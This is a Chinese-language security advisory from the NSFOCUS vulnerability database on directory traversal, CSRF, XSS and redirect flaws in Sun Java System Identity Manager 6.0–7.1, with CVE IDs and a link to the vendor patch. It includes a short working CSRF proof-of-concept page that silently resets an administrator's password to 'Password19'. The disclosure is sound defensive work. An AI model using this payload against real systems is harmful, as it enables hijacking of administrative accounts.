绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

Sun Java System Identity Manager目录遍历及跨站请求伪造漏洞

发布日期：2008-11-11
更新日期：2008-11-20

受影响系统：

Sun Java System Identity Manager 7.1
Sun Java System Identity Manager 7.0
Sun Java System Identity Manager 6.0 SP4
Sun Java System Identity Manager 6.0 SP3
Sun Java System Identity Manager 6.0 SP2
Sun Java System Identity Manager 6.0 SP1
Sun Java System Identity Manager 6.0

描述：

BUGTRAQ  ID: 32262
CVE(CAN) ID: CVE-2008-5117,CVE-2008-5118,CVE-2008-5116,CVE-2008-5115,CVE-2008-5114

Sun Java System Identity Manager是一个完整的端到端的保护敏感数据和管理标识配置文件与许可的解决方案。

Identity Manager的/idm/includes/helpServer.jsp服务器端脚本没有正确地验证ext参数，未经认证的远程攻击者可以通过向服务器提交恶意请求执行目录遍历攻击，检索文件系统上任意已知位置上的文件。

Identity Manager的update password功能（/idm/admin/changeself.jsp）中存在跨站请求伪造漏洞。由于没有使用不可预测的值来分解update password请求，也没有对管理用户要求输入之前的口令，因此如果管理用户在认证到Identity Manager期间如果受骗访问了恶意的HTML页面的话就可能导致劫持管理帐号。

此外跨站脚本漏洞可能在用户点击到Identity Manager的链接时允许本地或远程非特权用户在用户浏览器中执行非授权的脚本代码；两个额外漏洞可能允许本地或远程非特权用户将浏览器重新定向到非预期的远程站点或注入包含有非预期站点数据的帧。

<*来源：Adrian Pastor （m123303@richmond.ac.uk）
        Richard Brain

  链接：http://secunia.com/advisories/32606/
        http://marc.info/?l=bugtraq&m=122711613631253&w=2
        http://marc.info/?l=bugtraq&m=122711857207086&w=2
        http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-66-243386-1
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html>
<h1>CSRF attack demo - changes administrative password to 'Password19'</h1>
<script>
var img = new Image();
img.src =
'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.password=Password19&resourceAccounts.confirmPassword=Password19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true';

</script>
</html>

建议：

厂商补丁：

Sun
---
Sun已经为此发布了一个安全公告（Sun-Alert-243386）以及相应补丁:
Sun-Alert-243386：Multiple Security Vulnerabilities in Sun Java System Identity Manager
链接：http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-66-243386-1

浏览次数：2727
严重程度：0（网友投票）

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客